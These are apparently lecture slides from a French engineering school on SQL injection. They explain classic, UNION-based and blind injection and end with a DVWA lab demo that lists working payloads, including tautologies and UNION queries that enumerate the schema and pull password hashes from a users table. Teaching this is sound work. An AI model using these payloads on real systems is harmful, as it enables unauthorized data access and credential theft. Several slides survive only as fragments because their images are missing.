Académique Documents
Professionnel Documents
Culture Documents
Injection SQL
Chamseddine Talhi
École de technologie supérieure (ÉTS)
Dép. Génie logiciel et des TI
1
Plan
• SQL
• Injection SQL
• Injections SQL standards
• Injections SQL de requêtes UNION
• Injections SQL aveugles
• Demo
2
Yosr Jarraya, ÉTS
SQL
• SQL signifie Structured Query Language
– Langage utilisé pour accéder / communiquer avec bases de
données
• Langages standards ANSI et ISO
• Les instructions SQL peuvent effectuer les tâches
suivantes sur une base de données (BD):
– Récupération des données
– Insertion de nouvelles données
– Modification (mise à jours) des données existantes.
– Suppression des enregistrements
• Plusieurs standards, plusieurs produits BD:
– Les mêmes principaux mots clés pour les requêtes (SELECT,
UPDATE, INSERT…etc.)
– Chaque BD peut avoir ses propres extensions propriétaires
3
Yosr Jarraya, ÉTS
SQL
book_Id title price
Pub_Id Pub_name
1002012 SQL injection 100 $
1 Springer
1012012 Internet Security 110 $
2 IEEE
4
Yosr Jarraya, ÉTS
SQL
• SQL Data Definition Language (DDL)
– Permet de construire la base de données en créant ou supprimant des
tables, spécifier les index des tables, les liens et/ou contraintes entre
tables, etc.
– Exemple CREATE TABLE, ALTER TABLE, DROP TABLE.
• SQL Data Manipulation Language (DML)
– Manipuler les données dans la base de données
• Presque toutes les bases de données SQL se basent sur
le modèle relationnelle des données:
– SGBDR: Système de Gestion de Bases de Données Relationnelles
– Les métadonnées, qui sont les données sur la base de données,
doivent être stockeés dans la base de données elle-même avec les
données utilisateur
– Par conséquent, la structure de base de données peut aussi être lue et
modifié avec des requêtes SQL. => Critique
5
Yosr Jarraya, ÉTS
Injection SQL
Vulnérabilité #1 Injection – Attaque -
Account Summary
Account:
Account:
"SELECT * FROM accounts
Knowledge Mgmt
Communication
Legacy Systems
Administration
Bus. Functions
Application Layer
Human Resrcs
E-Commerce
Transactions
Web Services
WHERE
SKU:acct=‘’ OR 1=1--’"
Directories
Acct:5424-6066-2134-4334
Accounts
Databases
Finance
Billing
HTTP SQL DB Table
HTTP Acct:4128-7574-3921-0192
response
query
request Acct:5424-9383-2039-4029
APPLICATION
ATTACK
Acct:4128-0004-1234-0293
Custom Code 1. Application presents a form to
the attacker
2. Attacker sends an attack in the
form data
App Server
3. Application forwards attack to
Web Server the database in a SQL query
Hardened OS 4. Database runs query
Network Layer
application
5. Application decrypts data
as normal and sends results
to the user
Source: http://www.owasp.org/index.php/Top_10 6
MGR850
Injection SQL
• La capacité d'injecter des commandes
SQL dans le moteur de base de données
grâce à une application existante
• Causes des injections SQL :
– Une requête SQL générée en composant
« naïvement » les données reçues des
utilisateurs d’une application.
– Aucune vérification n’est effectuée sur les
données OU
– Vérification médiocre
7
Yosr Jarraya, ÉTS
Injection SQL
• Les objectifs des injections SQL peuvent
être multiples:
– Accéder à des données auxquelles on ne
devrait pas avoir accès,
– Modifier des données,
– Effacer des données,
– Lire/écrire sur le système de fichier,
– Exécuter des commandes systèmes.
8
Yosr Jarraya, ÉTS MGR850 - A12
Injection SQL
• Préparation de l’attaque:
– Identifier des paramètres injectables
– Identifier le type et la version du SGBDR
– Déterminer le schéma de la base de données
(noms de table, noms de colonne, types de
données des colonnes…etc.)
9
Yosr Jarraya, ÉTS
Injection SQL
• Types d’injection SQL:
– Injections SQL classiques
– Injections SQL de requêtes d’union
– Injections SQL aveugles
10
Yosr Jarraya, ÉTS
Injection SQL
• 1ère étape: Comprendre quand l’application se connecte à un
serveur de base de données.
• Exemples typiques de connexion à une BD:
o Formulaires d'authentification: il ya des chances que les informations
d'identification sont comparées à une BD qui contient tous les noms
d'utilisateur et mots de passe
o Moteurs de recherche: les chaînes présentées par l'utilisateur peuvent
être utilisées dans une requête SQL qui extrait tous les documents
pertinents à partir d'une BD
o Sites de commerce électronique: les produits et leurs caractéristiques
(prix, description, disponibilité, ...) sont très susceptibles d'être stockés
dans une BD
11
Chamseddine Talhi, ÉTS
Injection SQL
• 2ère étape: Préparer une liste de tous les champs de saisie dont
les valeurs pourraient être utilisées dans l'élaboration d'une
requête SQL.
• Stratégie gagnante: Tester chaque champ séparément
alors que les valeurs de toutes les autres variables doivent
rester constantes.
• Permet d’identifier avec précision les paramètres qui sont
vulnérables et ceux qui ne le sont pas.
• Essayer d’interférer avec la requête et provoquer la
génération d’erreurs.
12
Chamseddine Talhi, ÉTS
Injection SQL
Comment détecter la présence de vulnérabilités?
• D’abord tester les injections classiques!
• Test de base:
• Ajout d'une apostrophe (') ou d’un point-virgule (;) aux champs sous test
o (') : utilisée comme une marque de fin de chaîne de caractères dans une
instruction SQL.
o (;) : utilisé pour marquer la fin d’une instruction SQL.
• En l’absence de filtres, ces caractères peuvent mener à l’exécution de
requêtes incorrectes et/ou générer des erreurs
13
Chamseddine Talhi, ÉTS
Injection SQL
Comment détecter la présence de vulnérabilités?
Messages d’erreurs « généreux »
14
Chamseddine Talhi, ÉTS
Injections SQL standards
Requête SQL en arrière plan:
• Solutions
o Les parenthèses: On s’arranger pour les respecter
o MD5: On s’arranger pour que SQL l’ignore tout simplement!
/* ou bien # ou bien --
Syntax SQL commentaire
16
Chamseddine Talhi, ÉTS
Injections SQL standards
Problème: Parfois, le code d'authentification vérifie que le
nombre d’enregistrements retournés est exactement égal à 1
Solution:
17
Chamseddine Talhi, ÉTS
Injections SQL de requêtes UNION
Peut-on avoir accès aux données d’une table autre que celle
visée par la requête?
18
Chamseddine Talhi, ÉTS
Injections SQL aveugle
Comment détecter que la page est vulnérable?
Une page web http://newspaper.com/items.php?id=2
Requête (possible) exécutée en arrière plan SELECT title, description, body FROM items WHERE ID = 2
21
Chamseddine Talhi, ÉTS
Injections SQL aveugle
Mais si la page web est vraiment opaque!!!
Timing attack : des fonctions qui consomment du temps!
Example: combiner:
23
Chamseddine Talhi, ÉTS
Démo
Configuration
• XAMPP
• XAMPP est un kit pour l’installation du serveur web
Apache avec le système de base de données MySQL et le
support des script PHP et Perl.
• http://www.apachefriends.org/en/xampp.html
• DVWA
• Une application web PHP / MySQL vulnérable.
• Principal objectif est d’aider à la compréhension et à la
pratique de la sécurité des applications Web.
• http://www.dvwa.co.uk/
24
Yosr Jarraya, ÉTS
Démo: Injection SQL
25
Yosr Jarraya, ÉTS
Démo: Injection SQL
26
Yosr Jarraya, ÉTS
Test Injection SQL
http://127.0.0.1/dvwa/index.php admin, password
%%%%%%%%%%%%%%%%TEST1%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
1+1 ou bien 1%2b1
%%%%%%%%%%%%%%%TEST2%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
1 ' or 1=1 #
%%%%%%%%%%%%%%TEST3%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
1 ' and '1'='2' #
%%%%%%%%%%%%%%%TEST4%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
1 ' and '1'='2' union select 1 #
1 ' and 1=2 union select 1,2 #
%%%%%%%%%%%%%%TEST5%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
1 ' and 2=3 union select database(),user() #
%%%%%%%%%%%%%%TEST6%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
1 ' and 2=3 union select (select group_concat(column_name) from information_schema.columns where
table_schema=database()),1 #
%%%%%%TEST7%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
1 ' and 2=3 union select (select group_concat(table_name) from information_schema.tables where table_schema!='mysql' and
table_schema !='information_schema'),1 #
%%%%%%TEST8%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
1 ' and 2=3 union select (select group_concat(column_name) from information_schema.columns where table_name='users'),1 #
%%%%%%TEST9%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
1 ' and 2=3 union select (select password from users where first_name='admin'),1 #
%%%%%%TEST10 %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
1 ' and 2=3 union select (select group_concat(user_id,0x2c,first_name,0x2c,last_name,
0x2c,user,0x2c,password,0x2c,avatar,0x0a) from users),1 #
27
Yosr Jarraya, ÉTS
Références
• http://dev.mysql.com/doc/refman/5.6/en/sq
l-syntax.html
28
Yosr Jarraya, ÉTS
29